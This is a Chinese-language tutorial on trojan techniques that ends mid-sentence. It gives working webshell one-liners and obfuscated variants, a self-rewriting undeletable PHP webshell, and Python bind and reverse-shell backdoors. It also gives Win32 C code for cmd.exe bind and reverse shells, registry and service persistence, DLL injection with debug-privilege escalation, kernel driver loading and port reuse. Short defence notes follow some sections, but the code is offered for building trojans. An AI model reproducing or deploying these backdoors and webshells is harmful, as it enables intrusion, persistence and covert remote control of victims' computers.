木马技术
本文參考老書《木馬技術(shù)揭秘與防御》
?
#0x00 國內(nèi)木馬歷史
? ? 97年時,網(wǎng)絡(luò)尚未在國內(nèi)普及,木馬是當(dāng)時少數(shù)人手里的高科技,那時的木馬主要來自國外的BO和SubSeven,直到國產(chǎn)木馬冰河出現(xiàn)
才標(biāo)志國內(nèi)用戶迎來網(wǎng)絡(luò)木馬混沌時代。00年用戶對電腦防護意識毫無概念,防火墻又仍在探索和發(fā)展,使得冰河木馬極其容易滲透進毫
無防備的電腦,許多人也就靠冰河入了門。這個時代的木馬缺乏自我保護,很容易在啟動項中發(fā)現(xiàn)查殺。
?
? ? 隨著防火墻的誕生,NAT和端口過濾讓冰河木馬一夜間突然失效。這是因為就算電腦中了冰河,也因為局域網(wǎng)技術(shù)和NAT轉(zhuǎn)換使得外網(wǎng)主機無
法用通過IP找到肉雞。網(wǎng)吧就是一個明顯的例子。其次防火墻端口過濾會讓木馬開啟的非常見服務(wù)的端口被阻擋。
?
? ? 經(jīng)過一段時間的沉寂后,一種新型木馬概念被提出: 反彈木馬,肉雞和控制機角色互換,變成控制機主動開端口,肉雞反向連接控制端,這樣
一方面不需要知道肉雞IP地址,另一方面不需要主動開啟端口,成功的將NAT技術(shù)和端口過濾技術(shù)繞過,采用此概念的木馬: 網(wǎng)絡(luò)神偷, 該木馬用于
盜取電腦文件。
?
?? 反彈木馬雖然好,但是需要控制機的公網(wǎng)IP固定,一般服務(wù)器地址都寫死在木馬上了,但是黑客的控制機為了避免被跟蹤都不會使用固定的公網(wǎng)IP
針對這個問題,可用動態(tài)域名技術(shù)解決,木馬反彈的地址是固定的域名,而這個域名映射的IP卻是可以變化的,也就是DDNS。典例:灰鴿子
?
?? 一時間,反彈木馬的出現(xiàn)把防火墻打的慘不忍睹,一波未平一波又起,03年出現(xiàn)了頭疼系列: 廣外女生,廣外男生,廣外幽靈,這三個木馬都使用
了當(dāng)時頗感新鮮的技術(shù):遠(yuǎn)程線程注射。做到了真正意義上的無進程,具體原理下面會說,大體上就是往系統(tǒng)進程里注射木馬句柄運行。隱蔽性大幅
提升。查殺需要用戶掌握一定的電腦知識。
?
?? 再說說木馬界占了一半江山且歷史悠久的網(wǎng)頁木馬,早期網(wǎng)頁木馬主要針對瀏覽器漏洞實現(xiàn)自動下載和自動運行木馬實現(xiàn)感染手段,原理主要是通過
構(gòu)造畸形語句讓瀏覽器緩沖器溢出,用戶在瀏覽網(wǎng)頁的時候不知不覺就已經(jīng)中了木馬,讓人防不勝防。當(dāng)今后端語言的崛起使得webshell的概念也萌生
主要是后端語言即可以執(zhí)行系統(tǒng)命令,又可以接收用戶參數(shù),一句話木馬也就火了起來。
?
?? 當(dāng)今,隨著各種安全衛(wèi)士和殺毒軟件的發(fā)展,老一代的木馬基本被淘汰。隨著魔高一尺道高一丈的PK,交戰(zhàn)平臺轉(zhuǎn)移到系統(tǒng)內(nèi)核層,這一層擁有至高
無上的權(quán)限,一旦木馬進入這一層,所有的殺毒軟件統(tǒng)統(tǒng)都將成為木馬的傀儡。如今人們的安全意識也因為病毒帶來的損失而提高起來,但安全的步伐
將永遠(yuǎn)走下去,近兩年甚至出現(xiàn) `硬件漏洞`,帶來的影響直接導(dǎo)致性能下降。所以沒有絕對安全的系統(tǒng)。
?
# 0x01 webshell木馬
1. webshell這類木馬,基于Http,不需寫底層通信socket,只關(guān)注用戶傳入?yún)?shù)和執(zhí)行系統(tǒng)命令即可,下面是不同語言的一句話木馬
php一句話木馬
#原理: 把用戶傳遞過來的post請求內(nèi)容用eval轉(zhuǎn)成代碼執(zhí)行 <?php @eval($_POST['x'])?>?
asp一句話木馬
<!-- 原理與php差不多 --> <%execute request("value")%> <%eval request("value")%>?
aspx一句話木馬
<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>?
jsp一句話木馬
//沒學(xué)過java,jsp可能缺乏eval函數(shù),需先把代碼寫到j(luò)sp文件,再訪問該文件執(zhí)行code// jsp代碼寫入器后端 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %> // jsp代碼寫入器前端 <form name=get method=post> Server Addrress: <input name=url size=110 type=text><br><br> <textarea name=t rows=20 cols=120>java code</textarea><br> Save Filename: <input name=f size=30 value=shell.jsp> <input type=button οnclick="javascript:get.action=document.get.url.value;get.submit()" value=submit> </form>?
2. 一句話木馬雖然短小精悍,但是網(wǎng)絡(luò)安全狗都能很輕易嗅探到這些包含特征代碼的木馬文件,因此一句話木馬也出現(xiàn)了奇奇怪怪的變形。下面只舉例一些比較有意思的
簡潔的變形馬
<?php @$_=$_GET[1].@$_($_GET[2])?>利用方式: http://xxx.com/a.php?1=assert&2=phpinfo();
原理: $_是一個變量,該變量保存 $_GET[1]參數(shù)的值,點是php字符串連接符,后一段拼接后就變成 @$_GET[1]($_GET[2]);
這樣如果$_GET[1]是assert的話,$_GET[2]就可以放php代碼,也就變成 @assert("phpinfo()");
?
不死馬
<?phpset_time_limit(0);ignore_user_abort(true);$file = 'demo.php';$shell = '<?php eval($_GET[1]);?>';while(1){file_put_contents($file, $shell);system("chmod 777 demo.php");usleep(50);} ?>一旦訪問執(zhí)行上面的代碼,就會產(chǎn)生demo.php不死木馬,就算這個代碼被關(guān)閉,也會一直產(chǎn)生刪不掉的木馬,唯一解決辦法就算重啟,很惡心
ignore_user_abort 使得頁面就算被關(guān)閉,腳本依然執(zhí)行,set_time_limit設(shè)置腳本運行時間,如果設(shè)置成0,腳本將永久執(zhí)行,夠惡心吧
?
畸形木馬還有很多,大家可以去網(wǎng)上搜,這里就不繼續(xù)列舉了。
?
3. 當(dāng)我們拿到webshell一般執(zhí)行的權(quán)限都是web用戶權(quán)限,所以下一步就是借助webshell進行提權(quán),提權(quán)離不開反彈shell,因為webshell屬于那種一次性shell
就是執(zhí)行一條命令就斷開連接,并非持續(xù)的shell,這不利于提權(quán),為了建立持久shell,我們可使用執(zhí)行命令來反彈shell,下面是各種語言的反彈shell的代碼
bash
?
perl
?
python
php
ruby
nc
java
lua
php
?
補充: 如果拿到的shell沒有命令提示符,可以用 python 開啟命令提示符
?
python -c 'import pty;pty.spawn("/bin/bash")'?
?
#0x02 可執(zhí)行木馬
webshell木馬不需要關(guān)心底層通信協(xié)議,因為webshell基于HTTP協(xié)議,但可執(zhí)行程序或者腳本木馬需要自己編寫底層的TCP UDP接口。
一般我們要打開一個監(jiān)聽端口接收網(wǎng)絡(luò)數(shù)據(jù)都需要執(zhí)行這幾步: 創(chuàng)建Socket? -> bind端口和地址 -> listen監(jiān)聽 -> accept收到數(shù)據(jù)處理。
因python簡潔性,所以下面是用python編寫服務(wù)器和客戶端例子
python客戶端
#!/usr/bin/python #coding:utf-8import socket import sys socket.setdefaulttimeout(5)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)host = "www.baidu.com" port = 80 remote_ip = socket.gethostbyname( host )message = "GET / HTTP/1.1\r\n\r\n"s.connect((remote_ip, port)) s.sendall(message)reply = s.recv(4096)print replypython服務(wù)器
?
#!/usr/bin/python #coding:utf-8import socket import sysHOST = '' PORT = 444s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(10)while 1:conn, addr = s.accept()print "[+] connecting" , addr[0] + ":" , addr[1]conn.send("Welcome to the server. Type something like:""COOKIE,GET,POST and hit <ENTRE>\n")while 1:data = conn.recv(1024)print dataif data == "GET\n":data = "OK, wait a moment\n"if data == "POST\n":data = "I am not a http server\n"if data == "COOKIE\n":data = "a cookie Biscuits??\n"if data:conn.sendall(data)else:breakconn.close() s.close()?
其實客戶端不用編寫,用nc連接也是可以的,上面只是簡單實現(xiàn)了如何將客戶端的數(shù)據(jù)發(fā)送給服務(wù)端,試想一下,如果我們發(fā)送的數(shù)據(jù)
被當(dāng)做系統(tǒng)命令執(zhí)行,那么木馬豈不是就形成了,并且我們還要實現(xiàn)長久監(jiān)聽服務(wù),長連接,不然用一次就不監(jiān)聽可還行?
python 正向木馬
#!/usr/bin/python #coding:utf-8import socket import sys import commands from thread import *HOST = '' PORT = 854s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(10)def clientthread(conn):conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")while 1:conn.send("Demon_Backdoor# ")data = conn.recv(1024)if data:cmd = data.strip("\n")code,res = commands.getstatusoutput(cmd)if code == 0 :conn.sendall(res+"\n")else:print "[-]Error: code",codedata = ""else:breakconn.close()while 1:conn, addr = s.accept()print "[+] connecting" , addr[0] + ":" , addr[1]start_new_thread(clientthread, (conn,))s.close()?
python 反彈木馬
#!/usr/bin/python #coding:utf-8import socket import sys import commands from time import sleep from thread import *HOST = "192.168.10.24" PORT = 444def clientthread(s):global isConnects.send("Welcome demon's backdoor!".center(50,"*") + "\n")while 1:s.send("Demon_Backdoor# ")data = s.recv(1024)if data :cmd = data.strip("\n")code,res = commands.getstatusoutput(cmd)if code == 0 :s.sendall(res+"\n")else:print "[-]Error: code",codedata = ""else:breakwhile 1:try:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))print "[+] connecting" , HOST + ":", PORTclientthread(s)#start_new_thread(clientthread, (s,)) s.close()except:sleep(0.5)?
Mini木馬程序剖析:
原理:
經(jīng)典的木馬原理是在肉雞上開啟端口監(jiān)聽服務(wù),如果有客戶端連接進來,就會打開cmd.exe開啟一個shell,并和客戶端建立雙向管道,即客戶端能遠(yuǎn)程操控cmd.exe
代碼:
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); WSAStartup(0x0202, &WSADa); Ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = INADDR_ANY SockAddr.sin_port = htons(999); bind(Ssock, (sockaddr*)&SockAddr, sizeof(sockaddr)); listen(Ssock, 1); iAddrSize = sizeof(SockAddr); Csock = accept(Ssock, (sockaddr*)&SockAddr, &iAddrSize); StartupInfo.hStdInput = StartupInfo.hStdOutput = StartupInfo.hStdError = (HANDLE)Csock; CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);這個代碼段是Mini木馬中的核心一段,完整代碼在這里
分析:
首先獲取cmd.exe程序的路徑,保存到szCMDPath變量中。
創(chuàng)建windows socket, 版本號選擇2.2, 0x0202等價于 MAKEWORD(2,2),起名為Ssock
配置服務(wù)端Socket,設(shè)置協(xié)議棧,監(jiān)聽地址,監(jiān)聽端口,配置保存在變量SockAddr中
Ssock 套接字和 SockAddr配置進行綁定,然后通過listen函數(shù)開啟監(jiān)聽,這樣服務(wù)端就啟動服務(wù)了
accpet函數(shù)可以接收客戶端的連接,如果沒有連接會一直阻塞監(jiān)聽,有連接會返回客戶端的接口Csock,里面有客戶端連接的IP和端口號
StartupInfo是關(guān)于窗體程序的相關(guān)配置,這里將窗體的輸入輸出設(shè)置成客戶端接口句柄,這樣客戶端就可以寫入和讀取窗體的數(shù)據(jù)了。
最后創(chuàng)建一個進程運行cmd.exe,并且將上面的Startupinfo的配置應(yīng)用于該進程當(dāng)中,然后客戶端就可以發(fā)送cmd命令進行控制。
防范:
對于這類會在肉雞上主動開啟端口監(jiān)聽的一般都會被防火墻攔截,只要開啟防火墻就行。
?
注冊表修改技術(shù):
原理:
Windows的注冊表能實現(xiàn)很多功能,對于木馬來說,修改注冊表可實現(xiàn): 開機自啟木馬,關(guān)閉殺軟,開啟3389,破壞系統(tǒng)等等操作
而win32 API提供了一套對注冊表的讀寫操作。下面簡單介紹一下該API
代碼:
HKEY hKey; TCHAR keyValue[128]; char subkey[] = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"; char keynameR[] = "ProcessorNameString"; char keynameW[] = "HackerName"; char keynameD[] = "WillBeDeleted";DWORD dwDisposition = REG_OPENED_EXISTING_KEY;//讀注冊表 RegOpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_QUERY_VALUE, &hKey); RegQueryValueEx(hKey, keynameR, NULL, NULL, (LPBYTE)keyValue, &dwSize); RegCloseKey(hKey); printf("%s\n", keyValue);//寫注冊表 RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); RegSetValueEx(hKey, keyNameW, 0, REG_SZ, (BYTE*)"demon", dwSize); RegCloseKey(hKey);//刪注冊表 RegOpenKeyEx(hRootKey, subKey, 0, KEY_ALL_ACCESS, &hKey); RegDeleteValue(hKey, keyNameD); RegCloseKey(hKey);分析:
這段代碼演示了注冊表的讀寫和刪除,還有很多API這里沒有列舉到,大家可以參考MSDN
要對注冊表讀寫操作前,都需要先打開注冊表,打開注冊表可以通過 RegOpenKeyEx 和 RegCreateKeyEx 這兩個函數(shù),需要指明根鍵和子健,根鍵包含下面5個
HKEY_CLASSES_ROOTHKEY_CURRENT_USERHKEY_LOCAL_MACHINEHKEY_USERSHKEY_CURRENT_CONFIG如果鍵值不存在,RegCreateKeyEx函數(shù)則會創(chuàng)建該鍵值。打開注冊表句柄時還需要指明權(quán)限,這里給 KEY_ALL_ACCESS 表示句柄擁有所有權(quán)限。其他權(quán)限其參考 MSDN
防范:
有了注冊表的讀寫操作,那么 木馬程序一般會利用注冊表實現(xiàn)開機自啟動,下面是注冊表里常見的加載點
注冊表加載點: [HEKY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]中 userinit 鍵用逗號分割添加程序路徑,即可隨系統(tǒng)啟動而啟動* [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run] [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Policies\Explorer\Run] #Run 自己創(chuàng) [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run] 添加 REG_SZ 類型的鍵值 即可,名稱隨便,值為程序路徑* 更深的加載點: [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\load] [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] shell字符串類型鍵值中,默認(rèn)為 Explorer.exe 以木馬參數(shù)形式調(diào)用資源管理器 [HKEY_LOCAL_MACHINE\System\ControlSet001\Session Manager] BootExecute 多字符串鍵值,默認(rèn)為: "autocheck autochk *" 用于系統(tǒng)啟動自檢,在圖形界面前運行優(yōu)先級高針對上面的加載點,我們可以去檢查這些位置,如果發(fā)現(xiàn)異常的程序,對其刪除查殺即可。
?
服務(wù)注冊技術(shù):
原理:
服務(wù)是執(zhí)行指定的系統(tǒng)功能,進程等,以便支持其他程序。服務(wù)是一種特殊的應(yīng)用程序,可被SCM(服務(wù)管理控制器)進行操控。
如果服務(wù)設(shè)置成自動,那么隨著系統(tǒng)的啟動也會被啟動,啟動后會一直在后臺運行,類似linux的守護進程,因此木馬程序也可以
將自己注冊成服務(wù),悄悄的在系統(tǒng)當(dāng)中被當(dāng)作服務(wù)一直運行。
代碼:
[SCM code]char serviceName[] = "YourServiceName"; SC_HANDLE schSCManager; SC_HANDLE schService; SERVICE_STATUS status; schSCManager = schSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); schService = OpenService(schSCManager, serviceName, SERVICE_ALL_ACCESS); //改變服務(wù)自啟方式 ChangeServiceConfig(schService, //handleSERVICE_NO_CHANGE, //service typeSERVICE_AUTO_START, //service start typeSERVICE_NO_CHANGE, //error controlNULL, //binary pathNULL, //load order groupNULL, //tag IDNULL, //dependenciesNULL, //account nameNULL, //passwordNULL, //display name );//改變服務(wù)的描述信息 SERVICE_DESCRIPTION sd; LPCTSTR szDesc = TEXT("This is new description"); sd.lpDescription = szDesc; ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd);//控制服務(wù)運行狀態(tài) StartServiceA(schService, NULL, NULL); ControlService(schService, SERVICE_CONTROL_STOP, &status); ControlService(schService, SERVICE_CONTROL_PAUSE, &status); ControlService(schService, SERVICE_CONTROL_CONTINUE, &status);//查詢服務(wù)配置信息 DWORD dwBytesNeeded, cbBufSize,;LPQUERY_SERVICE_CONFIG lpsc; QueryServiceConfig(schService, NULL, 0, &dwBytesNeeded); cbBufSize = dwBytesNeeded; lpsc = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LMEM_FIXED, cbBufSize); QueryServiceConfig(schService, lpsc, cbBufSize, &dwBytesNeeded);LPSERVICE_DESCRIPTION lpsd; QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, NULL, 0, &dwBytesNeeded); cbBufSize = dwBytesNeeded; lpsd = (LPSERVICE_DESCRIPTION)LocalAlloc(LMEM_FIXED, cbBufSize); QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)lpsd, cbBufSize, &dwBytesNeeded);printf(" Type: 0x%x\n", lpsc->dwServiceType); printf(" Start Type: 0x%x\n", lpsc->dwStartType); printf(" Binary Path: %s\n", lpsc->lpBinaryPathName); printf(" Account: %s\n", lpsc->lpServiceStartName); printf(" Description: %s\n", lpsd->lpDescription); printf(" Dependencies: %s\n", lpsc->lpDependencies);分析:
這段代碼是通過SCM接口對指定的服務(wù)進行:修改配置,啟動關(guān)閉,設(shè)置自啟,顯示信息等相關(guān)操作
通過 schSCManager 打開 SCM, 再利用 OpenService 打開Services, 并給予對服務(wù)所有操作權(quán)限: SERVICE_ALL_ACCESS;
ChangeServiceConfig 可以修改服務(wù)的配置信息,比如設(shè)置啟動方式,服務(wù)類型,顯示名稱等
ChangeServiceConfig2 可以修改服務(wù)的描述信息
StartServiceA 可以打開服務(wù),而停止,暫停,繼續(xù)操作可以通過ControlService 函數(shù)操作
QueryServiceConfig 可以查詢服務(wù)配置信息,但是查詢前需要先利用該函數(shù)查詢結(jié)構(gòu)體長度 dwBytesNeeded 來分配給 lpsc 足夠的空間
QueryServiceConfig2 可以查詢服務(wù)的描述信息,和上面一樣需要先查詢分配空間的大小。
代碼:
//注冊服務(wù) LPCTSTR lpszBinaryPathName; char strDir[1024], chSysPath[1024]; SC_HANDLE schSCManager, schService; SERVICE_STATUS status;strcpy(lpszBinaryPathName, "/path/to/exefile") schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);schService = CreateService(schSCManager,"ServiceName","ServiceName", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, lpszBinaryPathName, NULL, NULL, NULL, NULL, NULL);if (schService) printf("Install service success!!\n");//刪除服務(wù) schSCManager = OpenSCManager(NULL,NULL, SC_MANAGER_CREATE_SERVICE); schService = OpenService(schSCManager, "ServiceName", SERVICE_ALL_ACCESS|DELETE); QueryServiceStatus(schService, &status);if( status.dwCurrentState != SERVICE_STOPPED )ControlService(schService, SERVICE_CONTROL_STOP, &status); Sleep(500); DeleteService(schService);CloseServiceHandle(schSCManager);分析:
通過上面的代碼,木馬程序可以將自己注冊成系統(tǒng)服務(wù),并且設(shè)置自動運行實現(xiàn)開機自啟。
防范:
可通過枚舉所有服務(wù),然后查看服務(wù)對應(yīng)的執(zhí)行文件,也就是上面注冊代碼的 lpszBinaryPathName 變量值,對其進行查殺即可
?
?
進程注射技術(shù):
原理:
什么是進程? 進程是一個線程擁有自己的代碼空間和運行空間的正在運行的程序,里面包含多個線程。
什么是DLL? 動態(tài)鏈接庫,無法獨立運行,可被執(zhí)行程序加載并調(diào)用
對于windows系統(tǒng),進程之間的內(nèi)存地址是相互隔離的,也就進程之間不可相互訪問對方的地址。
但是windows系統(tǒng)為了能方便的讓兩個程序訪問同一塊內(nèi)存,windows提供了虛擬內(nèi)存來共享解決該問題。
進程注射技術(shù)就是利用DLL木馬在某進程中開辟虛擬空間來運行,但需要提升到Debug模式才有權(quán)限注射進程。
代碼:
// 提權(quán)代碼 HANDLE hToken; TOKEN_PRIVILEGES pTP; LUID uID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken); LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID);pTP.PrivilegeCount = 1; pTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pTP.Privileges[0].Luid = uID;AdjustTokenPrivileges(hToken, FALSE, &pTP,sizeof(TOKEN_PRIVILEGES),NULL,NULL)// 對指定的PID進程注射 DWORD pid = 1433; char dll[] = "c:\\muma.dll"; hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(dll)+1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hRemoteProcess, pszLibFileRemote,(void*)dll, lstrlen(dll)+1, NULL); pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibraryA"); hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); CloseHandle(hRemoteProcess); CloseHandle(hRemoteThread);分析:
代碼首先進行debug提權(quán),利用 AdjustTokenPrivileges 函數(shù),傳入配置結(jié)構(gòu)體 pTP ,該結(jié)構(gòu)體指明了 SE_PRIVILEGE_ENABLED; 權(quán)限啟用。
注射進程基本步驟: OpenProcess 打開進程句柄? -> VirtualAllocEx開辟虛擬空間 -> WriteProcessMemory 寫dll路徑到虛擬空間
-> GetProcAddress 搜索LoadLibraryA 函數(shù)地址 -> CreateRemoteThread 在進程上創(chuàng)建新的線程并執(zhí)行 dll 代碼。
?
代碼:
void listAllProcessInfo(){PROCESSENTRY32 lPrs;HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);ZeroMemory(&lPrs, sizeof(lPrs));lPrs.dwSize = sizeof(lPrs);Process32First(hSnap, &lPrs);printf("pid\t\tppid\t\tname\n");printf("-------------------------------------------\n");while(1){printf("%d\t\t%d\t\t%s\n", lPrs.th32ProcessID, lPrs.th32ParentProcessID, lPrs.szExeFile);if(!Process32Next(hSnap, &lPrs)) break;} }上面這段代碼可以枚舉所有進程先關(guān)信息,包括pid, 和 tastlist 一樣效果
?
?內(nèi)核Rootkit技術(shù):
原理:
操作系統(tǒng)的存在使得計算機硬件對于應(yīng)用程序變得不可見,若應(yīng)用程序需要訪問硬件資源則需要向內(nèi)核發(fā)送請求。
所以程序運行的模式有兩種,一個是用戶態(tài)Ring3, 一個是內(nèi)核態(tài)Ring0,正常下程序根本沒有機會修改內(nèi)核,但是若
程序運行在內(nèi)核態(tài)既可以訪問系統(tǒng)任何代碼和數(shù)據(jù)了!而應(yīng)用程序想進入內(nèi)核態(tài)也有很多辦法,常用的就是編寫驅(qū)動程序
環(huán)境: 需要安裝 WDK/DDK
代碼:
#include <ntddk.h>VOID Unload(IN PDRIVER_OBJECT DriverObject){}NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING UnicodeString){UNICODE_STRING path;UNICODE_STRING name;UNICODE_STRING data;OBJECT_ATTRIBUTES oa;HANDLE myhandle = NULL;RtlInitUnicodeString(&path, L"\\Registry\\Machine\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");RtlInitUnicodeString(&name, L"demon");RtlInitUnicodeString(&data, L"hello,demon");InitializeObjectAttributes(&oa, &path, OBJ_CASE_INSENSITIVE,NULL, NULL);ZwOpenKey(&myhandle, KEY_WRITE, &oa);ZwSetValueKey(myhandle, &name, 0, REG_SZ, data.Buffer, data.Length);ZwClose(myhandle);DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}分析:
上面是驅(qū)動程序,作用是在注冊表上添加一些信息,可以看出Ring3 和 Ring0同樣功能不同一套API
然后通過編寫MAKEFILE 和 SOURCES文件就可以編譯生成 驅(qū)動模塊.sys , 代碼
有了驅(qū)動模塊后,我們還需將驅(qū)動程序注冊服務(wù),這樣下次系統(tǒng)啟動就會啟動這個驅(qū)動。注冊服務(wù)也是用SCM來注冊
但是注冊類型為 SERVICE_KERNEL_DRIVER,表示為系統(tǒng)驅(qū)動,代碼如下:
scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);sh = CreateService(scm, "DriverName", "DriverName", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, "path/to/yourDrv.sys", NULL, NULL, NULL, NULL, NULL);CloseServiceHandle(scm); CloseServiceHandle(sh);?防范:
通過 PCHunter 工具可以列出所有的系統(tǒng)驅(qū)動模塊,一般不是windows 或知名產(chǎn)商簽名的驅(qū)動都要可能是惡意驅(qū)動,手動卸載即可
?
管道通訊技術(shù):
原理:
如果是建立普通的C語言socket,則需要創(chuàng)建兩個管道,一個用于讀,一個用于寫,這樣即可實現(xiàn)通信。
如果是用WSASocket創(chuàng)建的,則可以直接將窗體讀寫指向句柄即可。代碼比較簡單。
代碼:
[socket] WSAStartup(MAKEWORD(2,2), &wsa); listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);server.sin_family = AF_INET; server.sin_port = htons(999); server.sin_addr.s_addr = ADDR_ANY;bind(listenFD, (sockaddr *)&server, sizeof(server)); listen(listenFD, 2); clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize);CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0); CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0);si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1;CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);while(1){PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);if(lBytesRead){ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);send(clientFD, Buff, lBytesRead, 0);}else{recv(clientFD, Buff, 1024, 0);WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);} }分析:
這段代碼使用C語言原生API創(chuàng)建一個socket, 并 CreatePipe創(chuàng)建兩個管道,管道一端只能讀,另一端只能寫
CreateProcess 創(chuàng)建一個cmd.exe的進程,這個進程的標(biāo)準(zhǔn)輸出定向到管道1,輸入從管道2獲取。
while死循環(huán)用戶監(jiān)聽管道1的數(shù)據(jù),也就是cmd.exe發(fā)出的數(shù)據(jù),一旦監(jiān)聽到就發(fā)送給客戶端。
另外,客戶端一旦接受到數(shù)據(jù),就會寫入到管道2,這樣cmd.exe就能從管道2讀取到數(shù)據(jù),雙向管道建立完成。
代碼:
[WSASocket] WSAStartup(MAKEWORD(2,2), &wsa); listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);server.sin_family = AF_INET; server.sin_port = htons(999); server.sin_addr.s_addr = ADDR_ANY;bind(listenFD, (sockaddr *)&server, sizeof(server)); listen(listenFD, 2); clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize);si.hStdInput = si.hStdOutput = si.hStdError = clientFD; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);?
分析:
使用Win32 API的WSASocket創(chuàng)建的socket可以直接對其句柄讀寫操作,大大節(jié)省了代碼,就不需要創(chuàng)建
兩個管道來通信了。
?
反彈木馬技術(shù):
原理:
黑客攻擊機開啟端口監(jiān)聽,肉雞主動反向連接黑客的IP,這樣做可以繞過防火墻的攔截,畢竟是肉雞主動向外發(fā)送請求
代碼:
sock = WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);sin.sin_family = AF_INET; sin.sin_port = htons(444); sin.sin_addr.s_addr = inet_addr("192.168.10.1");while( connect(sock, (struct sockaddr*)&sin, sizeof(sin)) )Sleep(30000);si.hStdInput = si.hStdOutput = si.hStdError = (void*)sock; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);分析:
這段代碼先建立一個客戶端socket , 通過connect 可以主動連接,while語句和sleep語句讓木馬
每個3秒嘗試反彈一次shell,如果連接成功,創(chuàng)建一個cmd.exe進程并將輸入輸出定向到該socket
?
端口重用技術(shù):
原理:
當(dāng)服務(wù)器的一個服務(wù)監(jiān)聽了一個端口,那么這個端口就不能被其他程序再使用了,但是Socket有一項技術(shù)
可以使得端口被重用,一旦端口被重用,防火墻放行的端口就成為了木馬的監(jiān)聽端口。
代碼:
WSAStartup(MAKEWORD(2,2), &wsa); ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("192.168.10.1"); sinSize = sizeof(sin);bind(ssock, (sockaddr*)&sin, sinSize); listen(ssock, 2); csock = accept(ssock, (sockaddr*)&sin, &sinSize);ZeroMemory(&si, sizeof(si)); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void*)csock; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);分析:
端口復(fù)用技術(shù)主要是通過 setsockopt函數(shù) 來設(shè)置端口復(fù)用, SO_REUSEADDR設(shè)置后就可以重用端口了。
另外上面代碼需要注意的是監(jiān)聽地址不是 0.0.0.0 ,也就是說如果使用 192.168.10.1 地址訪問看到的就是
